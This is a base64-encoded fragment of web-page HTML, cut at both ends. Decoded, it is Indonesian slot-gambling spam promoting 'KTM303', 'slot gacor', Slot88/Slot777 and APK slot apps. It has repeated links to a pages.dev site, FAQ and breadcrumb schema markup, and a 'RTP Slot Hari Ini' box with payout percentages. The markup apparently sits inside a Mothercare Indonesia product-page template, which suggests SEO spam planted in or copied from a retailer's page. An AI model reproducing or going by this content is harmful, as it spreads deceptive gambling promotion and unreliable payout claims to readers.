AgICAgICAgICAgICAgICJuYW1lIjogIkFwYWthaCBTTE9UODggbWVueWVkaWFrYW4gbGF5YW5hbiBwZWxhbmdnYW4%2FIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImFjY2VwdGVkQW5zd2VyIjogewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJBbnN3ZXIiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJ0ZXh0IjogIkl5YSBzdWRhaCBwYXN0aSwgU0xPVDg4IG1lbXB1bnlhaSBsYXlhbmFuIHBlbGFuZ2dhbiB5YW5nIHNlbGFsdSBzaWFwIG1lbWJhbnR1IGFuZGEgdW50dWsgbWVueWVsZXNhaWthbiBtYXNhbGFoIGFwYXB1biBzZWxhbWEgMjQvNy4iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBdCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zY3JpcHQ%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzY3JpcHQgdHlwZT0iYXBwbGljYXRpb24vbGQranNvbiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQGNvbnRleHQiOiAiaHR0cHM6Ly9zY2hlbWEub3JnIiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQHR5cGUiOiAiQnJlYWRjcnVtYkxpc3QiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpdGVtTGlzdEVsZW1lbnQiOiBbCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJMaXN0SXRlbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwb3NpdGlvbiI6IDEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuYW1lIjogIlNMT1Q4OCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJpdGVtIjogImh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJAdHlwZSI6ICJMaXN0SXRlbSIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJwb3NpdGlvbiI6IDIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICJuYW1lIjogIlNsb3QgR2Fjb3IiLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiaXRlbSI6ICJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9LAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiQHR5cGUiOiAiTGlzdEl0ZW0iLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAicG9zaXRpb24iOiAzLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAibmFtZSI6ICJTbG90IiwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIml0ZW0iOiAiaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3NjcmlwdD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrYy1jYXNoYmFjayBjaGVjayI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyIgY2xhc3M9ImtjLXBvaW50cy1sYWJsZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL2Jlcml0YWluZG9uZXNpYS5jby9waG90by9pY29uLndlYnAiIGNsYXNzPSJrY3BvaW50cy1pbWciIHdpZHRoPSIzMHB4Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4%2BRWFybiA8c3BhbiBjbGFzcz0icHJpY2UiPjg4OC44ODg8L3NwYW4%2BIC0gPHNwYW4gY2xhc3M9InByaWNlIj44Ljg4OC44ODg8L3NwYW4%2BIEJvbnVzPC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJrcmVkaXZvLWxhYmVsIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdj5Vc2UgSW5zdGFsbG1lbnQgT3B0aW9ucyBmcm9tPGltZyBjbGFzcz0ia3JlZGl2by1sb2dvIiBzdHlsZT0id2lkdGg6IDU1cHg7IG1hcmdpbjogMCA1cHg7IiBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvbWVkaWEvd3lzaXd5Zy9rcmVkaXZvL2tyZWRpdm9fbG9nby5wbmciIGFsdD0iIj4uIDxhIGhyZWY9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvcGF5bWVudC1tZXRob2QiPkxhYXJuIG1vcmU8L2E%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJhdmFpbGFibGUtYmxvY2siPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJ0aXRsZSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzPSJhdmFpbC10ZXh0Ij5BdmFpbGFibGUgZm9yIDo8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJsYWJsZXMiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJob21lLWRpdiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJodHRwczovL3d3dy5tb3RoZXJjYXJlLmNvLmlkL3N0YXRpYy92ZXJzaW9uMTc0MTk2MzM0NS9mcm9udGVuZC9Db2RpbGFyL21vdGhlcmNhcmUvaWRfSUQvTWFnZW50b19DYXRhbG9nL2ltYWdlcy9kZWxpdmVyeS5wbmciIGNsYXNzPSJkZWxpdmVyeS1pbWciPjxzcGFuIGNsYXNzPSJob21lIj5ob21lIGRlbGl2ZXJ5PC9zcGFuPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0ic3RvcmUtZGl2Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGltZyBzcmM9Imh0dHBzOi8vd3d3Lm1vdGhlcmNhcmUuY28uaWQvc3RhdGljL3ZlcnNpb24xNzQxOTYzMzQ1L2Zyb250ZW5kL0NvZGlsYXIvbW90aGVyY2FyZS9pZF9JRC9NYWdlbnRvX0NhdGFsb2cvaW1hZ2VzL3N0b3JlLXBpY2sucG5nIiBjbGFzcz0iaG9tZS1waWNrLWltZyI%2BPHNwYW4gY2xhc3M9InN0b3JlIj5zdG9yZSBwaWNrdXA8L3NwYW4%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InByb2R1Y3QgYXR0cmlidXRlIG92ZXJ2aWV3Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0idmFsdWUiIHN0eWxlPSJ0ZXh0LWFsaWduOiBqdXN0aWZ5OyI%2BCgkJCQkJCSAgICA8aDI%2BSW5mb3JtYXNpIExlbmdrYXBLVE0zMDM8L2gyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHA%2BPGEgaHJlZj0iaHR0cHM6Ly9rdG0tZnNhaW5zdW5jcC1nYWNvci5wYWdlcy5kZXYvIj48c3Ryb25nPktUTTMwMzwvc3Ryb25nPjwvYT4gaGFkaXIgc2ViYWdhaSBoYWxhbWFuIGluZm9ybWFzaSB5YW5nIG1lbWJhaGFzIHBsYXRmb3JtIEFQSyBTbG90LCBwZXJtYWluYW4gU2xvdDg4IGRhbiBTbG90Nzc3LCBzZXJ0YSBiZXJiYWdhaSByZWZlcmVuc2kgc2VwdXRhciBzaXR1cyBzbG90IGdhY29yIHlhbmcgYmFueWFrIGRpY2FyaSBwZW5nZ3VuYS4gSW5mb3JtYXNpIGRpc3VzdW4gc2VjYXJhIHJpbmdrYXMgYWdhciBwZW1iYWNhIGRhcGF0IG1lbmdlbmFsaSBqZW5pcyBwZXJtYWluYW4sIGZpdHVyIHBsYXRmb3JtLCBtZXRvZGUgYWtzZXMsIHNpc3RlbSB0cmFuc2Frc2ksIGRhbiBwZW1iYXJ1YW4gbGF5YW5hbiBkYWxhbSBzYXR1IGhhbGFtYW4uPC9wPgoJCQkJCQkJPGgyPkluZm9ybWFzaSBBUEsgU2xvdCBkYW4gU2l0dXMgU2xvdCBHYWNvcjwvaDI%2BCgkJCQkJCQkgICA8cD5BUEsgU2xvdCBkaWtlbmFsIHNlYmFnYWkgc2FsYWggc2F0dSBha3NlcyBwZXJtYWluYW4geWFuZyBkYXBhdCBkaWd1bmFrYW4gbWVsYWx1aSBwZXJhbmdrYXQgc2VsdWxlci4gTWVsYWx1aSBLVE0zMDMsIHBlbmdndW5hIGRhcGF0IG1lbXBlbGFqYXJpIGNhcmEgbWVuZ2Frc2VzIHBsYXRmb3JtLCBtZW1haGFtaSBmaXR1ciB5YW5nIHRlcnNlZGlhLCBzZXJ0YSBtZW1iYW5kaW5na2FuIGxheWFuYW4gc2ViZWx1bSBtZW5lbnR1a2FuIHBpbGloYW4uIFBhc3Rpa2FuIGJlcmthcyBBUEsgZGlwZXJvbGVoIGRhcmkgc3VtYmVyIHJlc21pIGRhbiB0ZWxhaCBkaXBlcmlrc2Ega2VhbWFuYW5ueWEgc2ViZWx1bSBkaXBhc2FuZy48L3A%2BCgkJCQkJCQkgICA8cD5LVE0zMDMganVnYSBtZW55YWppa2FuIHJlZmVyZW5zaSBtZW5nZW5haSBzaXR1cyA8YSBocmVmPSJodHRwczovL2t0bS1mc2FpbnN1bmNwLWdhY29yLnBhZ2VzLmRldi8iPjxzdHJvbmc%2Bc2xvdCBnYWNvcjwvc3Ryb25nPjwvYT4gU2xvdDg4IGRhbiBTbG90Nzc3LiBTZXRpYXAgcGxhdGZvcm0gZGFwYXQgbWVtaWxpa2kgcGVyYmVkYWFuIGRhbGFtIGtvbGVrc2kgcGVybWFpbmFuLCB0YW1waWxhbiwga2VjZXBhdGFuIGFrc2VzLCBtZXRvZGUgcGVtYmF5YXJhbiwga2V0ZW50dWFuIGJvbnVzLCBkYW4ga3VhbGl0YXMgbGF5YW5hbiBwZWxhbmdnYW4uIEluZm9ybWFzaSBpbmkgZGFwYXQgZGlndW5ha2FuIHNlYmFnYWkgYmFoYW4gcGVyYmFuZGluZ2FuLCBidWthbiBzZWJhZ2FpIGphbWluYW4gbWVtcGVyb2xlaCBrZW1lbmFuZ2FuLjwvcD4KCQkJCQkJCTxoMj5Ba3NlcyBTbG90ODggZGFuIFNsb3Q3NzcgZGkgQmVyYmFnYWkgUGVyYW5na2F0PC9oMj4KCQkJCQkJCSAgIDxwPkluZm9ybWFzaSBLVE0zMDMgZGFwYXQgZGlha3NlcyBtZW5nZ3VuYWthbiBrb21wdXRlciwgbGFwdG9wLCB0YWJsZXQsIG1hdXB1biBzbWFydHBob25lLiBUYW1waWxhbiB5YW5nIHJlc3BvbnNpZiBtZW1iYW50dSBwZW5nZ3VuYSBtZW1iYWNhICBwYW5kdWFuLCBtZWxpaGF0IHBlbWJhcnVhbiBsaW5rLCBkYW4gbWVtYWhhbWkgaW5mb3JtYXNpIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BPHN0cm9uZz5BUEsgc2xvdDwvc3Ryb25nPjwvYT4gdGFucGEgcHJvc2VzIHlhbmcgcnVtaXQuPC9wPgoJCQkJCQkJICAgICA8cD5QZXJtYWluYW4gU2xvdDg4IGRhbiBTbG90Nzc3IHVtdW1ueWEgbWVuYXdhcmthbiB0ZW1hLCBqdW1sYWggZ3VsdW5nYW4sIHBheWxpbmVzLCBmaXR1ciBib251cywgZGFuIHRpbmdrYXQgdm9sYXRpbGl0YXMgeWFuZyBiZXJhZ2FtLiBTZWJlbHVtIGJlcm1haW4sIHBlbmdndW5hIHNlYmFpa255YSBtZW1wZWxhamFyaSBhdHVyYW4gc2V0aWFwIHBlcm1haW5hbiwgbWVtcGVyaGF0aWthbiBrZWFtYW5hbiBha3VuLCBzZXJ0YSBtZW1lcmlrc2EgbGVnYWxpdGFzIGxheWFuYW4gZGkgd2lsYXlhaCBtYXNpbmctbWFzaW5nLjwvcD4KCQkJCQkJICAgIDxoMj5CZXJtYWluIFNlY2FyYSBBbWFuIGRhbiBCZXJ0YW5nZ3VuZyBKYXdhYjwvaDI%2BCgkJCQkJCQkgICA8cD5Jc3RpbGFoIDxhIGhyZWY9Imh0dHBzOi8va3RtLWZzYWluc3VuY3AtZ2Fjb3IucGFnZXMuZGV2LyI%2BPHN0cm9uZz5zbG90PC9zdHJvbmc%2BPC9hPiBnYWNvciwgamFja3BvdCwgZGFuIG1heHdpbiBzZWJhaWtueWEgZGlwYWhhbWkgc2ViYWdhaSBpc3RpbGFoIHByb21vc2kgYXRhdSBrb211bml0YXMsIGJ1a2FuIGtlcGFzdGlhbiBoYXNpbCBwZXJtYWluYW4uIFNldGlhcCBwdXRhcmFuIGJlcmdhbnR1bmcgcGFkYSBtZWthbmlzbWUgc2lzdGVtIGRhbiB1bnN1ciBwZWx1YW5nLiBUZXRhcGthbiBiYXRhcyBkYW5hIHNlcnRhIHdha3R1LCBqYW5nYW4gbWVuZ2d1bmFrYW4gdWFuZyBrZWJ1dHVoYW4gc2VoYXJpLWhhcmksIGRhbiBiZXJoZW50aWxhaCBhcGFiaWxhIGFrdGl2aXRhcyBiZXJtYWluIG11bGFpIG1lbmdnYW5nZ3Uga29uZGlzaSBmaW5hbnNpYWwgYXRhdSBrZWhpZHVwYW4gcHJpYmFkaS4gTGF5YW5hbiBpbmkgaGFueWEgYm9sZWggZGlndW5ha2FuIG9sZWggcGVuZ2d1bmEgeWFuZyB0ZWxhaCBtZW1lbnVoaSBiYXRhcyB1c2lhIGRhbiBrZXRlbnR1YW4gaHVrdW0geWFuZyBiZXJsYWt1LjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHN0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtYm94LC5ydHAtZ29sZC1ib3ggKntib3gtc2l6aW5nOmJvcmRlci1ib3ggIWltcG9ydGFudH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLWJveHtwb3NpdGlvbjpyZWxhdGl2ZTttYXJnaW46MzBweCAwO3BhZGRpbmc6MjRweDtib3JkZXI6MXB4IHNvbGlkICNjODkyMTc7Ym9yZGVyLXJhZGl1czoyMnB4O292ZXJmbG93OmhpZGRlbjtiYWNrZ3JvdW5kOnJhZGlhbC1ncmFkaWVudChjaXJjbGUgYXQgdG9wLCMzNDI2MDYgMCx0cmFuc3BhcmVudCAzOCUpLGxpbmVhci1ncmFkaWVudCgxNDVkZWcsIzA4MDcwNSwjMTcxMTA0IDU1JSwjMDUwNTA1KTtib3gtc2hhZG93OjAgMTZweCAzOHB4IHJnYmEoMCwwLDAsLjc1KSxpbnNldCAwIDAgMjJweCByZ2JhKDI1NSwxOTAsMzIsLjA4KSwwIDAgMjJweCByZ2JhKDIxOCwxNTksMTcsLjIpfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtYm94OmJlZm9yZXtjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO2luc2V0OjA7cG9pbnRlci1ldmVudHM6bm9uZTtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCgxMTVkZWcsdHJhbnNwYXJlbnQgMjAlLHJnYmEoMjU1LDIxOSwxMTYsLjA4KSA0NSUsdHJhbnNwYXJlbnQgNzAlKX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLWhlYWR7cG9zaXRpb246cmVsYXRpdmU7dGV4dC1hbGlnbjpjZW50ZXI7bWFyZ2luLWJvdHRvbToyMHB4fQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtaGVhZCBoM3ttYXJnaW46MDtjb2xvcjojZmZkNzZhICFpbXBvcnRhbnQ7Zm9udC1zaXplOjI3cHg7Zm9udC13ZWlnaHQ6OTAwO2xldHRlci1zcGFjaW5nOjEuNHB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTt0ZXh0LXNoYWRvdzowIDAgMTRweCByZ2JhKDI1NSwxODgsMjQsLjU1KX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLWhlYWQgcHttYXJnaW46N3B4IDAgMDtjb2xvcjojZDhjNThmO2ZvbnQtc2l6ZToxMnB4O2xldHRlci1zcGFjaW5nOi41cHh9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ydHAtZ29sZC1saW5le3dpZHRoOjEwMHB4O2hlaWdodDozcHg7bWFyZ2luOjEycHggYXV0byAwO2JvcmRlci1yYWRpdXM6NTBweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg5MGRlZyx0cmFuc3BhcmVudCwjZmZmMGE2LCNkOTliMGIsI2ZmZjBhNix0cmFuc3BhcmVudCk7Ym94LXNoYWRvdzowIDAgMTJweCAjZDk5YjBifQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtbGlzdHtwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmdyaWQ7Z2FwOjEwcHh9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ydHAtZ29sZC1pdGVte3BhZGRpbmc6MTRweDtib3JkZXI6MXB4IHNvbGlkIHJnYmEoMjI5LDE3Niw0NywuMzUpO2JvcmRlci1yYWRpdXM6MTRweDtiYWNrZ3JvdW5kOmxpbmVhci1ncmFkaWVudCg5MGRlZyxyZ2JhKDI1NSwxOTUsNDUsLjA4KSxyZ2JhKDAsMCwwLC4zOCkpO2JveC1zaGFkb3c6aW5zZXQgMCAxcHggMCByZ2JhKDI1NSwyNTUsMjU1LC4wNCl9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ydHAtZ29sZC1yb3d7ZGlzcGxheTpmbGV4O2FsaWduLWl0ZW1zOmNlbnRlcjtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjtnYXA6MTJweDttYXJnaW4tYm90dG9tOjlweH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLW5hbWV7Y29sb3I6I2ZmZjtmb250LXNpemU6MTRweDtmb250LXdlaWdodDo4MDA7bGluZS1oZWlnaHQ6MS4zfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtcHJvdmlkZXJ7ZGlzcGxheTpibG9jazttYXJnaW4tdG9wOjNweDtjb2xvcjojYWE5Yjc1O2ZvbnQtc2l6ZToxMXB4O2ZvbnQtd2VpZ2h0OjUwMH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLXZhbHVle2ZsZXg6MCAwIGF1dG87cGFkZGluZzo1cHggOXB4O2JvcmRlcjoxcHggc29saWQgI2U4YjYzNztib3JkZXItcmFkaXVzOjk5OXB4O2NvbG9yOiNmZmUzOTQ7YmFja2dyb3VuZDojMmIxZTAyO2ZvbnQtc2l6ZToxM3B4O2ZvbnQtd2VpZ2h0OjkwMDtib3gtc2hhZG93OjAgMCAxMHB4IHJnYmEoMjI1LDE2NiwyMCwuMil9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ydHAtZ29sZC10cmFja3toZWlnaHQ6OXB4O2JvcmRlcjoxcHggc29saWQgcmdiYSgyNTUsMjA3LDg0LC4yNSk7Ym9yZGVyLXJhZGl1czo5OXB4O292ZXJmbG93OmhpZGRlbjtiYWNrZ3JvdW5kOiMwOTA4MDZ9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC5ydHAtZ29sZC1maWxse2Rpc3BsYXk6YmxvY2s7aGVpZ2h0OjEwMCU7Ym9yZGVyLXJhZGl1czo5OXB4O2JhY2tncm91bmQ6bGluZWFyLWdyYWRpZW50KDkwZGVnLCM5YjY1MDAsI2YwYjkxZCwjZmZmMWE0KTtib3gtc2hhZG93OjAgMCAxMHB4IHJnYmEoMjU1LDE5Myw0MSwuNzUpfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtc3RhdHVze2Rpc3BsYXk6ZmxleDtqdXN0aWZ5LWNvbnRlbnQ6c3BhY2UtYmV0d2VlbjttYXJnaW4tdG9wOjdweDtjb2xvcjojYjlhYTgzO2ZvbnQtc2l6ZToxMHB4O3RleHQtdHJhbnNmb3JtOnVwcGVyY2FzZTtsZXR0ZXItc3BhY2luZzouNnB4fQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAucnRwLWdvbGQtc3RhdHVzIGJ7Y29sb3I6I2ZmZDc2YX0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLnJ0cC1nb2xkLW5vdGV7cG9zaXRpb246cmVsYXRpdmU7bWFyZ2luOjE1cHggMCAwO2NvbG9yOiM5Zjk0Nzc7Zm9udC1zaXplOjEwcHg7bGluZS1oZWlnaHQ6MS41O3RleHQtYWxpZ246Y2VudGVyfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBAbWVkaWEobWF4LXdpZHRoOjUyMHB4KXsucnRwLWdvbGQtYm94e21hcmdpbjoyMHB4IDA7cGFkZGluZzoxNnB4O2JvcmRlci1yYWRpdXM6MTdweH0ucnRwLWdvbGQtaGVhZCBoM3tmb250LXNpemU6MjFweH0ucnRwLWdvbGQtaGVhZCBwe2ZvbnQtc2l6ZToxMHB4fS5ydHAtZ29sZC1pdGVte3BhZGRpbmc6MTJweH0ucnRwLWdvbGQtbmFtZXtmb250LXNpemU6MTJweH0ucnRwLWdvbGQtdmFsdWV7Zm9udC1zaXplOjExcHh9LnJ0cC1nb2xkLXRyYWNre2hlaWdodDo4cHh9fQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3N0eWxlPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VjdGlvbiBjbGFzcz0icnRwLWdvbGQtYm94IiBhcmlhLWxhYmVsPSJSZWZlcmVuc2kgUlRQIHBlcm1haW5hbiI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLWhlYWQiPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aDM%2BUlRQIFNsb3QgSGFyaSBJbmk8L2gzPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8cD5SZWZlcmVuc2kgcGVyc2VudGFzZSBwZXJtYWluYW4gcGlsaWhhbjwvcD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtbGluZSI%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC1saXN0Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtaXRlbSI%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXJvdyI%2BPGRpdiBjbGFzcz0icnRwLWdvbGQtbmFtZSI%2BR2F0ZXMgb2YgT2x5bXB1czxzcGFuIGNsYXNzPSJydHAtZ29sZC1wcm92aWRlciI%2BUHJhZ21hdGljIFBsYXk8L3NwYW4%2BPC9kaXY%2BPHNwYW4gY2xhc3M9InJ0cC1nb2xkLXZhbHVlIj45Ni41MCU8L3NwYW4%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXRyYWNrIj48c3BhbiBjbGFzcz0icnRwLWdvbGQtZmlsbCIgc3R5bGU9IndpZHRoOjk2LjUlIj48L3NwYW4%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXN0YXR1cyI%2BPHNwYW4%2BU3RhdHVzPC9zcGFuPjxiPlJUUCBUaW5nZ2k8L2I%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtcm93Ij48ZGl2IGNsYXNzPSJydHAtZ29sZC1uYW1lIj5Td2VldCBCb25hbnphPHNwYW4gY2xhc3M9InJ0cC1nb2xkLXByb3ZpZGVyIj5QcmFnbWF0aWMgUGxheTwvc3Bhbj48L2Rpdj48c3BhbiBjbGFzcz0icnRwLWdvbGQtdmFsdWUiPjk2LjQ4JTwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtdHJhY2siPjxzcGFuIGNsYXNzPSJydHAtZ29sZC1maWxsIiBzdHlsZT0id2lkdGg6OTYuNDglIj48L3NwYW4%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9InJ0cC1nb2xkLXN0YXR1cyI%2BPHNwYW4%2BU3RhdHVzPC9zcGFuPjxiPlJUUCBUaW5nZ2k8L2I%2BPC9kaXY%2BCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJydHAtZ29sZC1pdGVtIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtcm93Ij48ZGl2IGNsYXNzPSJydHAtZ29sZC1uYW1lIj5NYWhqb25nIFdheXMgMjxzcGFuIGNsYXNzPSJydHAtZ29sZC1wcm92aWRlciI%2BUEcgU29mdDwvc3Bhbj48L2Rpdj48c3BhbiBjbGFzcz0icnRwLWdvbGQtdmFsdWUiPjk2Ljk1JTwvc3Bhbj48L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0icnRwLWdvbGQtdHJhY2siPjxzcGFuIGNsYXNzPSJydHAtZ29sZC1maWxsIiBzdHlsZT0id2lkdGg6OTYuOTUlIj48L3NwYW4%2BPC9kaXY%2BCiAgICAgICAg